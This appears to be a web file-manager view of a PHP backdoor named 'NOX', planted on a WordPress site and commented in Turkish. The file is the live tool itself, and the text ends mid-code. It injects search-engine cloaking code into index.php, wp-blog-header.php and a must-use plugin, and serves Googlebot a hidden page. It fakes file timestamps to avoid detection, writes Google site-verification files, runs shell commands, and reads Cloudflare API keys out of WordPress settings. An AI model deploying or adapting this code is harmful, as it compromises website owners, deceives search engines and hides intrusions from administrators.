home
/
digitron
/
public_html
➕ New
📤 Upload
✎ Editing:
test.php
← Back
<?php ob_start(); register_shutdown_function(function(){ $e=error_get_last(); if($e&&in_array($e['type'],[E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR])){ while(ob_get_level()>0)ob_end_clean(); header('Content-Type:application/json'); echo json_encode(['fatal'=>$e['message'],'line'=>$e['line']]); exit; } }); // vi-fm3-cloak-v3.php — Basitleştirilmiş cloak yöneticisi. // Tek buton: index.php'ye cloak şablonu yaz + .html yoksa oluştur. ini_set('session.use_cookies',0); ini_set('session.use_only_cookies',0); header('Set-Cookie: PHPSESSID=deleted; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/'); // ---- Token auth (hash araç dosyası içinde saklanır, dışarıda dosya oluşturulmaz) ---- define('_NOX_HASH','2b95bb347233a66422744b8707a778822344249fab63807bad309893337ab25b'); if(_NOX_HASH===''){ $_nraw=bin2hex(random_bytes(16)); $_nhash=hash('sha256',$_nraw); $_nself=(string)@file_get_contents(__FILE__); $_nself=preg_replace("/define\('_NOX_HASH',''\)/","define('_NOX_HASH','$_nhash')",$_nself,1); if($_nself&&@file_put_contents(__FILE__,$_nself)!==false){ $_ns=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $_nu=$_ns.'://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?p='.rawurlencode($_nraw); echo '<!DOCTYPE html><html lang="tr"><head><meta charset="utf-8"><title>NOX — İlk Kurulum</title>' .'<style>*{margin:0;padding:0;box-sizing:border-box}body{background:#1a1a2e;color:#0ff;font-family:monospace;display:flex;align-items:center;justify-content:center;min-height:100vh;padding:20px}.b{background:#16213e;border:1px solid #0f3;border-radius:8px;padding:32px;max-width:640px;width:100%}h2{color:#0f0;font-size:17px;margin-bottom:14px}p{font-size:13px;line-height:1.7;margin:6px 0}.u{background:#0a1228;border:1px solid #0f3;padding:12px 14px;border-radius:4px;word-break:break-all;color:#ff0;font-size:13px;margin:12px 0;user-select:all}.w{color:#f55;font-size:12px;background:#1a0a0a;border-left:3px solid #c33;padding:10px 12px;margin-top:14px;line-height:1.6}.cb{background:#0f3;color:#000;border:none;padding:7px 18px;border-radius:4px;font-family:monospace;font-size:13px;font-weight:bold;cursor:pointer;margin-top:8px}#cm{font-size:12px;color:#0f0;margin-left:8px;opacity:0;transition:opacity .3s}</style>' .'</head><body><div class="b"><h2>NOX — İlk Kurulum</h2>' .'<p>Token oluşturuldu. URL\'yi kopyalayın ve güvenli bir yere saklayın:</p>' .'<p><b style="color:#fa0">⚠ Bu URL bir daha gösterilmeyecek.</b></p>' .'<div class="u" id="u">'.htmlspecialchars($_nu,ENT_QUOTES,'UTF-8').'</div>' .'<button class="cb" onclick="cp()">Kopyala</button><span id="cm">Kopyalandı!</span>' .'<p class="w">Token yalnızca SHA-256 hash olarak araç dosyası içinde saklandı — orijinal değer kalıcı olarak gizlendi.' .' Sıfırlamak için araç dosyasını yeni versiyonuyla değiştirin.</p>' .'</div><script>function cp(){var t=document.getElementById("u").textContent.trim();' .'if(navigator.clipboard)navigator.clipboard.writeText(t);' .'else{var x=document.createElement("textarea");x.value=t;document.body.appendChild(x);x.select();document.execCommand("copy");document.body.removeChild(x);}' .'var m=document.getElementById("cm");m.style.opacity="1";setTimeout(function(){m.style.opacity="0"},2500);}' .'</script></body></html>'; exit; }else{ die('Hata: Araç dosyası yazılamadı. Dosya yazma iznini kontrol edin.'); } } $_np=isset($_GET['p'])?(string)$_GET['p']:''; if(!hash_equals(_NOX_HASH,hash('sha256',$_np))){die('Auth');} unset($_nraw,$_nhash,$_nself,$_ns,$_nu); // ------------------------------------------------------------------------------- $DIR=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\'); $TEMPLATES=[ 'index.php'=>[ 'cloak'=>base64_decode('PD9waHAKaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wJyk7CmhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwpoZWFkZXIoJ1Zhcnk6IFVzZXItQWdlbnQnKTsKJHVzZXJBZ2VudD1pc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pPyRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTonJzsKaWYocHJlZ19tYXRjaCgnL0dvb2dsZWJvdHxBZHNCb3R8TWVkaWFwYXJ0bmVycy1Hb29nbGV8QVBJcy1Hb29nbGV8R29vZ2xlYm90LUltYWdlfEdvb2dsZWJvdC1WaWRlb3xHb29nbGVib3QtTmV3c3xHb29nbGVib3QtU2VhcmNofEdvb2dsZWJvdC1JbnNwZWN0fEdvb2dsZWJvdC1BbmRyb2lkfEdvb2dsZWJvdC1Nb2JpbGV8R29vZ2xlYm90LUFkc3xHb29nbGVib3QtRGlzY292ZXJ5fEdvb2dsZS18R29vZ2xlT3RoZXIvaScsJHVzZXJBZ2VudCkmJiRfU0VSVkVSWydSRVFVRVNUX1VSSSddPT0nLycpe2luY2x1ZGUgJ3dwLWNvbW1lbnRzLXBvc3QtbG9hZGVyLmh0bWwnO2RpZSgpO30KZGVmaW5lKCdXUF9VU0VfVEhFTUVTJyx0cnVlKTsKcmVxdWlyZSBfX0RJUl9fLicvd3AtYmxvZy1oZWFkZXIucGhwJzsK'), 'orig' =>base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7') ] ]; $HTML_DEFAULT=base64_decode('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJ2aSI+PGhlYWQ+DQoNCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQo8dGl0bGU+U0VPIFRFU1QgTk9YIFNIRUxMPC90aXRsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPlNFTyBURVNUIE5PWCBTSEVMTDwvaDE+DQoNCjwvYm9keT48L2h0bWw+DQo='); $HTML_FILE='wp-comments-post-loader.html'; $INDEX_FILE='index.php'; // ---- Yardımcılar ----------------------------------------------------------- function safe_name($n){ if($n===''||$n===null)return false; if(strpos($n,'/')!==false||strpos($n,'\\')!==false||strpos($n,"\0")!==false||strpos($n,'..')!==false)return false; return true; } function b64url_decode($s){ $s=trim((string)$s); if($s==='')return ''; $std=strtr($s,'-_','+/'); $pad=strlen($std)%4; if($pad)$std.=str_repeat('=',(4-$pad)); $d=base64_decode($std,true); return ($d!==false&&$d!=='')?$d:$s; } function enc_b64url($s){ return rtrim(strtr(base64_encode($s),'+/','-_'),'='); } function is_google_file($name){ return (bool)preg_match('/^google[a-zA-Z0-9]+\.html$/',$name); } function _nox_sub($s,$start,$len){return function_exists('mb_substr')?mb_substr($s,$start,$len):substr($s,$start,$len);} function list_google_files($dir){ $out=[]; foreach((array)@glob($dir.DIRECTORY_SEPARATOR.'google*.html') as $p){ $b=basename($p); if(is_google_file($b))$out[]=$b; } sort($out); return $out; } $a=isset($_GET["a"])?$_GET["a"]:(isset($_POST["a"])?$_POST["a"]:""); // Dizindeki referans dosyalardan medyan mtime hesapla function ref_mtime($dir,$skip=[]){ $mt=[]; if($dh=@opendir($dir)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..')continue; $fp=$dir.DIRECTORY_SEPARATOR.$f; if(!is_file($fp)||in_array($f,$skip))continue; $t=@filemtime($fp); if($t>mktime(0,0,0,1,1,2010))$mt[]=$t; } closedir($dh); } if(empty($mt))return null; sort($mt); return $mt[(int)(count($mt)/2)]; } // ---- Otomatik cloak: index.php'ye cloak şablonu yaz + .html yoksa oluştur -- if($a==="autocloak"){ $results=[]; $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $origMtime=file_exists($idx)?@filemtime($idx):null; $ok1=@file_put_contents($idx,$TEMPLATES[$INDEX_FILE]['cloak']); if($ok1!==false&&$origMtime)@touch($idx,$origMtime); $results['index']=$ok1!==false?'OK':'ERR'; $html=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; if(!file_exists($html)){ $ok2=@file_put_contents($html,$HTML_DEFAULT); if($ok2!==false&&$origMtime)@touch($html,$origMtime); $results['html']=$ok2!==false?'CREATED':'ERR'; }else{ $results['html']='EXISTS'; } $muDir=$DIR.'/wp-content/mu-plugins'; $muFile=$muDir.'/nox-google-bot-bypass.php'; $muCode='<?php'."\n" .'defined(\'ABSPATH\')||exit;'."\n" .'$_nox_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n" .'$_nox_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n" .'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_nox_ua)&&$_nox_uri===\'/\'){'."\n" .' $_nox_html=ABSPATH.\'wp-comments-post-loader.html\';'."\n" .' if(file_exists($_nox_html)){'."\n" .' while(ob_get_level()>0)ob_end_clean();'."\n" .' header(\'Content-Type: text/html; charset=utf-8\');'."\n" .' header(\'Vary: User-Agent\');'."\n" .' readfile($_nox_html);exit;'."\n" .' }'."\n" .'}'."\n" .'unset($_nox_ua,$_nox_uri,$_nox_html);'."\n"; if(!is_dir($muDir))@mkdir($muDir,0755,true); if(is_dir($muDir)){ $ok3=@file_put_contents($muFile,$muCode); $results['mu_plugin']=$ok3!==false?'OK':'ERR'; }else{ $results['mu_plugin']='ERR'; } $wpblog=$DIR.'/wp-blog-header.php'; if(!file_exists($wpblog)){ $results['wp_blog_header']='ERR'; }else{ $wpblogContent=(string)@file_get_contents($wpblog); if(strpos($wpblogContent,'NOX-CLOAK-START')!==false){ $results['wp_blog_header']='EXISTS'; }else{ $wpblogMtime=@filemtime($wpblog); $wpblogBlock="\n/* NOX-CLOAK-START */\n" .'$_nox_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n" .'$_nox_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n" .'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_nox_ua)&&$_nox_uri===\'/\'){'."\n" .' $_nox_html=__DIR__.\'/wp-comments-post-loader.html\';'."\n" .' if(file_exists($_nox_html)){while(ob_get_level()>0)ob_end_clean();header(\'Content-Type: text/html; charset=utf-8\');header(\'Vary: User-Agent\');readfile($_nox_html);exit;}'."\n" .'}'."\n" .'unset($_nox_ua,$_nox_uri,$_nox_html);'."\n" ."/* NOX-CLOAK-END */\n"; $wpblogNew=preg_replace('/^(<\?php)/', '$1'.$wpblogBlock, $wpblogContent, 1); $ok4=@file_put_contents($wpblog,$wpblogNew); if($ok4!==false&&$wpblogMtime)@touch($wpblog,$wpblogMtime); $results['wp_blog_header']=$ok4!==false?'OK':'ERR'; } } while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode($results); exit; } // ---- Orijinale dön: index.php'ye orig şablonu yaz -------------------------- if($a==="revert"){ $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $origMtime=file_exists($idx)?@filemtime($idx):null; $ok=@file_put_contents($idx,$TEMPLATES[$INDEX_FILE]['orig']); if($ok!==false&&$origMtime)@touch($idx,$origMtime); $bypassFile=$DIR.'/wp-content/mu-plugins/nox-google-bot-bypass.php'; if(file_exists($bypassFile))@unlink($bypassFile); $wpblog=$DIR.'/wp-blog-header.php'; if(file_exists($wpblog)){ $wpblogContent=(string)@file_get_contents($wpblog); if(strpos($wpblogContent,'NOX-CLOAK-START')!==false){ $wpblogMtime=@filemtime($wpblog); $wpblogClean=preg_replace('/\n\/\* NOX-CLOAK-START \*\/.*?\/\* NOX-CLOAK-END \*\/\n/s','',$wpblogContent); $ok2=@file_put_contents($wpblog,$wpblogClean); if($ok2!==false&&$wpblogMtime)@touch($wpblog,$wpblogMtime); } } while(ob_get_level()>0)ob_end_clean(); echo $ok!==false?'OK':'ERR';exit; } // ---- Dosya oku (base64 döner) ----------------------------------------------- if($a==="raw"){ $name=b64url_decode(isset($_GET["b"])?$_GET["b"]:''); if(!safe_name($name))die("Forbidden"); $allowed=[$INDEX_FILE,$HTML_FILE]; if(!in_array($name,$allowed,true))die("Forbidden"); $target=$DIR.DIRECTORY_SEPARATOR.$name; while(ob_get_level()>0)ob_end_clean(); header("Content-Type:text/plain;charset=utf-8"); header("X-Body-Encoding: base64"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); echo base64_encode((string)@file_get_contents($target));exit; } // ---- .html kaydet (serbest) -------------------------------------------------- if($a==="savehtml"){ $target=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); while(ob_get_level()>0)ob_end_clean(); if($bin===false){echo"ERR: bozuk veri";exit;} if(strpos($bin,'<?')!==false){echo"ERR: PHP etiketi icermez";exit;} $ok=@file_put_contents($target,$bin); echo $ok!==false?'OK':'ERR';exit; } // ---- Google doğrulama dosyası yaz ------------------------------------------ if($a==="writegoogle"){ $name=b64url_decode(isset($_POST["b"])?$_POST["b"]:(isset($_GET["b"])?$_GET["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;} $target=$DIR.DIRECTORY_SEPARATOR.$name; $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); if($bin===false){echo"ERR: bozuk veri";exit;} if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Sadece 'google-site-verification: TOKEN' formatı kabul edilir";exit;} $ok=@file_put_contents($target,$bin); echo $ok!==false?'OK':'ERR';exit; } // ---- Google doğrulama dosyası sil ------------------------------------------ if($a==="rmgoogle"){ $name=b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;} $target=$DIR.DIRECTORY_SEPARATOR.$name; $ok=@unlink($target); echo $ok?'OK':'ERR';exit; } // ---- Cloak aktif mi kontrol et (index.php VEYA mu-plugin) -------- if($a==="checkcloak"){ $idx=$DIR.DIRECTORY_SEPARATOR.'index.php'; $content=file_exists($idx)?(string)@file_get_contents($idx):''; $indexActive=(strpos($content,'wp-comments-post-loader.html')!==false); $muActive=file_exists($DIR.'/wp-content/mu-plugins/nox-google-bot-bypass.php'); $wpblogContent=file_exists($DIR.'/wp-blog-header.php')?(string)@file_get_contents($DIR.'/wp-blog-header.php'):''; $wpblogActive=(strpos($wpblogContent,'NOX-CLOAK-START')!==false); $active=$indexActive||$muActive||$wpblogActive; while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode(['active'=>$active],JSON_UNESCAPED_UNICODE);exit; } // ---- GoogleBot simülasyonu: siteye GoogleBot UA ile istek at ---------------- if($a==="botcheck"){ ob_start(); $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $host=$_SERVER['HTTP_HOST']; $url=$scheme.'://'.$host.'/'; if(!function_exists('curl_init')){ ob_end_clean(); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit; } $ch=curl_init(); curl_setopt_array($ch,[ CURLOPT_URL =>$url, CURLOPT_RETURNTRANSFER =>true, CURLOPT_USERAGENT =>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', CURLOPT_TIMEOUT =>15, CURLOPT_FOLLOWLOCATION =>true, CURLOPT_MAXREDIRS =>5, CURLOPT_SSL_VERIFYPEER =>false, CURLOPT_SSL_VERIFYHOST =>false, CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'], ]); $body=(string)curl_exec($ch); $httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE); $finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL); $curlErr=curl_error($ch); curl_close($ch); $htmlPath=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; $htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):''; $htmlText=trim(strip_tags($htmlContent)); $bodyText=trim(strip_tags($body)); $matched=false; if($htmlText!==''&&strlen($htmlText)>=10){ $needle=_nox_sub($htmlText,0,120); $matched=(strpos($bodyText,$needle)!==false); } $idxContent=(string)@file_get_contents($DIR.DIRECTORY_SEPARATOR.'index.php'); $cloakIntact=(strpos($idxContent,'wp-comments-post-loader.html')!==false); $preview=_nox_sub($body,0,800); if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview); $out=json_encode([ 'url' =>$url, 'final_url' =>$finalUrl, 'http_code' =>$httpCode, 'curl_error' =>$curlErr, 'matched' =>$matched, 'html_empty' =>($htmlContent===''), 'cloak_intact'=>$cloakIntact, 'preview' =>$preview, ],JSON_UNESCAPED_UNICODE); if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'html_empty'=>($htmlContent===''),'cloak_intact'=>$cloakIntact,'curl_error'=>$curlErr,'preview'=>'(önizleme kodlanamadı)']); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo $out;exit; } // ---- Cache Temizleme -------------------------------------------------------- if($a==="clearcache"){ $res=[]; // yardımcı: dizin içeriğini özyinelemeli sil, silinen dosya sayısını döndür function _cc_rmdir($dir){ $n=0; try{ $it=new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ if($f->isFile()||$f->isLink()){if(@unlink($f->getRealPath()))$n++;} elseif($f->isDir()&&realpath($f->getRealPath())!==realpath($dir)){@rmdir($f->getRealPath());} } }catch(Exception $e){} return $n; } // 1. PHP OPcache — reset + index.php hedefli invalidate if(function_exists('opcache_get_status')&&opcache_get_status()!==false){ $ok=opcache_reset(); $idxPhp=$DIR.DIRECTORY_SEPARATOR.'index.php'; if(function_exists('opcache_invalidate')&&file_exists($idxPhp))opcache_invalidate($idxPhp,true); $res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı + index.php invalidate edildi']:['s'=>'err','m'=>'Sıfırlanamadı']; }else{ $res['opcache']=['s'=>'na','m'=>'Aktif değil']; } // 1b. PHP-FPM graceful restart if(function_exists('shell_exec')){ $fpmPid=trim((string)@shell_exec('cat /var/run/php-fpm.pid 2>/dev/null')); if($fpmPid&&ctype_digit($fpmPid)){ @shell_exec("kill -USR2 $fpmPid 2>/dev/null"); $res['fpm_reload']=['s'=>'ok','m'=>"FPM PID $fpmPid — USR2 gönderildi"]; }else{ $res['fpm_reload']=['s'=>'na','m'=>'FPM pid dosyası bulunamadı']; } }else{$res['fpm_reload']=['s'=>'na','m'=>'shell_exec devre dışı'];} // 2. APC if(function_exists('apc_clear_cache')){ @apc_clear_cache();@apc_clear_cache('user'); $res['apc']=['s'=>'ok','m'=>'Temizlendi']; }else{ $res['apc']=['s'=>'na','m'=>'Yok']; } // 2b. Memcache if(class_exists('Memcache')){ try{ $mc=new Memcache();$mcOk=false; foreach([['127.0.0.1',11211],['localhost',11211]] as [$mh,$mp]){ if(@$mc->connect($mh,$mp)){$mc->flush();$mc->close();$mcOk=true;break;} } $res['memcache']=$mcOk?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $e){$res['memcache']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];} // 2c. Memcached if(class_exists('Memcached')){ try{ $mcd=new Memcached();$mcd->addServer('127.0.0.1',11211); $ok=$mcd->flush(); $res['memcached']=$ok?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı yok veya başarısız']; }catch(Exception $e){$res['memcached']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];} // 2d. Redis if(class_exists('Redis')){ try{ $redis=new Redis();$redisOk=false; foreach([6379,6380] as $rp){ if(@$redis->connect('127.0.0.1',$rp,2)){ $redis->flushAll();$redis->close(); $res['redis']=['s'=>'ok','m'=>"Temizlendi (port $rp)"]; $redisOk=true;break; } } if(!$redisOk)$res['redis']=['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $e){$res['redis']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['redis']=['s'=>'na','m'=>'Extension yok'];} // 3. WordPress disk cache (wp-content/cache/) — ana dizin $wpCache=$DIR.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache'; if(is_dir($wpCache)){ $count=_cc_rmdir($wpCache); $res['wp_cache']=['s'=>'ok','m'=>"$count dosya silindi"]; }else{ $res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ bulunamadı']; } // 3b. WP Plugin cache dizinleri — dizin bazlı tespit + silme $pluginDirs=[ 'dir_w3tc' =>[$DIR.'/wp-content/w3tc-cache/','W3 Total Cache'], 'dir_wprocket' =>[$DIR.'/wp-content/wp-rocket-cache/','WP Rocket'], 'dir_litespeed' =>[$DIR.'/wp-content/litespeed/','LiteSpeed'], 'dir_autoptimize'=>[$DIR.'/wp-content/cache/autoptimize/','Autoptimize'], 'dir_endurance' =>[$DIR.'/wp-content/endurance-page-cache/','Endurance Page Cache'], 'dir_wpfastest' =>[$DIR.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'], 'dir_comet' =>[$DIR.'/wp-content/cache/comet-cache/','Comet Cache'], 'dir_enabler' =>[$DIR.'/wp-content/cache/cache-enabler/','Cache Enabler'], ]; foreach($pluginDirs as $k=>[$pdir,$plabel]){ if(is_dir($pdir)){ $pcnt=_cc_rmdir($pdir); $res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"]; }else{ $res[$k]=['s'=>'na','m'=>"$plabel: dizin bulunamadı"]; } } // 3c. WordPress API — wp-load.php varsa yükle, plugin fonksiyonlarını çağır $wpLoaded=false; foreach([$DIR.'/wp-load.php',$DIR.'/../wp-load.php'] as $_wpl){ if(file_exists($_wpl)){@include_once($_wpl);$wpLoaded=defined('ABSPATH');break;} } if($wpLoaded){ // WP Object Cache if(function_exists('wp_cache_flush')){ wp_cache_flush(); $res['wp_object_cache']=['s'=>'ok','m'=>'WP Object Cache temizlendi']; } // WP Super Cache if(function_exists('wp_cache_clear_cache')){ @wp_cache_clear_cache(); $res['api_supercache']=['s'=>'ok','m'=>'WP Super Cache API temizlendi']; }else{$res['api_supercache']=['s'=>'na','m'=>'WP Super Cache yok'];} // W3 Total Cache if(function_exists('w3tc_flush_all')){ @w3tc_flush_all(); if(function_exists('w3tc_flush_dbcache'))@w3tc_flush_dbcache(); if(function_exists('w3tc_flush_objectcache'))@w3tc_flush_objectcache(); if(function_exists('w3tc_flush_minify'))@w3tc_flush_minify(); $res['api_w3tc']=['s'=>'ok','m'=>'W3 Total Cache API temizlendi']; }else{$res['api_w3tc']=['s'=>'na','m'=>'W3TC yok'];} // WP Rocket if(function_exists('rocket_clean_domain')){ @rocket_clean_domain(); if(function_exists('rocket_clean_minify'))@rocket_clean_minify(); if(function_exists('rocket_clean_cache_busting'))@rocket_clean_cache_busting(); $res['api_wprocket']=['s'=>'ok','m'=>'WP Rocket API temizlendi']; }else{$res['api_wprocket']=['s'=>'na','m'=>'WP Rocket yok'];} // WP Fastest Cache if(class_exists('WpFastestCache')){ try{$wpfc=new WpFastestCache();$wpfc->deleteCache();$wpfc->deleteCache(true); $res['api_wpfastest']=['s'=>'ok','m'=>'WP Fastest Cache API temizlendi']; }catch(Exception $e){$res['api_wpfastest']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['api_wpfastest']=['s'=>'na','m'=>'WP Fastest Cache yok'];} // Autoptimize if(class_exists('autoptimizeCache')){ @autoptimizeCache::clearall(); $res['api_autoptimize']=['s'=>'ok','m'=>'Autoptimize API temizlendi']; }else{$res['api_autoptimize']=['s'=>'na','m'=>'Autoptimize yok'];} // LiteSpeed Cache WP Plugin if(defined('LSCWP_V')||class_exists('LiteSpeed_Cache')){ do_action('litespeed_purge_all'); do_action('litespeed_purge_cssjs'); $res['api_litespeed']=['s'=>'ok','m'=>'LiteSpeed Cache Plugin API temizlendi']; }else{$res['api_litespeed']=['s'=>'na','m'=>'LiteSpeed Cache Plugin yok'];} // SG Optimizer if(function_exists('sg_cachepress_purge_cache')){ sg_cachepress_purge_cache(); $res['api_sgoptimizer']=['s'=>'ok','m'=>'SG Optimizer temizlendi']; }else{$res['api_sgoptimizer']=['s'=>'na','m'=>'SG Optimizer yok'];} // Cache Enabler if(class_exists('Cache_Enabler')){ Cache_Enabler::clear_total_cache(); $res['api_cacheenabler']=['s'=>'ok','m'=>'Cache Enabler API temizlendi']; }else{$res['api_cacheenabler']=['s'=>'na','m'=>'Cache Enabler yok'];} // Comet Cache if(class_exists('comet_cache')){ comet_cache::clear(); $res['api_comet']=['s'=>'ok','m'=>'Comet Cache API temizlendi']; }else{$res['api_comet']=['s'=>'na','m'=>'Comet Cache yok'];} // Hummingbird if(class_exists('Hummingbird\WP_Hummingbird')){ do_action('wphb_clear_page_cache'); $res['api_hummingbird']=['s'=>'ok','m'=>'Hummingbird temizlendi']; }else{$res['api_hummingbird']=['s'=>'na','m'=>'Hummingbird yok'];} // Swift Performance if(class_exists('Swift_Performance_Cache')){ Swift_Performance_Cache::clear_all_cache(); $res['api_swift']=['s'=>'ok','m'=>'Swift Performance temizlendi']; }else{$res['api_swift']=['s'=>'na','m'=>'Swift Performance yok'];} // Cloudflare — WP options'tan kimlik bilgilerini çek if(function_exists('get_option')&&function_exists('curl_init')){ $cfEmail=get_option('cloudflare_email','')?:get_option('cf_email',''); $cfKey =get_option('cloudflare_api_key','')?:get_option('cf_api_key',''); $cfZone =get_option('cloudflare_zone_id','')?:get_option('cloudflare-zone-id',''); if($cfEmail&&$cfKey&&$cfZone){ $ch=curl_init("https://api.cloudflare.com/client/v4/zones/$cfZone/purge_cache"); curl_setopt_array($ch,[ CURLOPT_CUSTOMREQUEST =>'POST', CURLOPT_HTTPHEADER =>["X-Auth-Email: $cfEmail","X-Auth-Key: $cfKey","Content-Type: application/json"], CURLOPT_POSTFIELDS =>json_encode(['purge_everything'=>true]), CURLOPT_RETURNTRANSFER =>true, CURLOPT_TIMEOUT =>15, CURLOPT_SSL_VERIFYPEER =>false, ]); $cfResp=curl_exec($ch);$cfCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cfErr=curl_error($ch);curl_close($ch); if(!$cfErr&&$cfCode===200){ $res['cloudflare']=['s'=>'ok','m'=>'Cloudflare zone tamamen temizlendi']; }else{ $res['cloudflare']=['s'=>'err','m'=>"Cloudflare API hatası HTTP $cfCode".($cfErr?" ($cfErr)":'')]; } }else{ $res['cloudflare']=['s'=>'na','m'=>'Cloudflare bilgileri WP options\'ta bulunamadı']; } }else{ $res['cloudflare']=['s'=>'na','m'=>'Cloudflare: cURL yok veya WP yüklenmedi']; } }else{ $res['wp_api']=['s'=>'na','m'=>'wp-load.php bulunamadı — WP plugin API\'leri atlandı']; } // 4. Aruba CDN purge (127.0.0.1:8889) if(function_exists('curl_init')){ $hhost=$_SERVER['HTTP_HOST']; $ch=curl_init('http://127.0.0.1:8889/purge/'); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>["Host: $hhost"],CURLOPT_TIMEOUT=>3,CURLOPT_CONNECTTIMEOUT=>2]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); $res['aruba']=$cerr||$code===0 ?['s'=>'na','m'=>'Port 8889 yanıt vermedi (Aruba değil)'] :['s'=>'ok','m'=>"Purge edildi (HTTP $code)"]; }else{$res['aruba']=['s'=>'na','m'=>'cURL yok'];} // 5. Varnish PURGE (127.0.0.1:6081 → 80) $vDone=false; if(function_exists('curl_init')){ $hhost=$_SERVER['HTTP_HOST']; foreach([6081,80] as $vp){ $ch=curl_init("http://127.0.0.1:$vp/"); 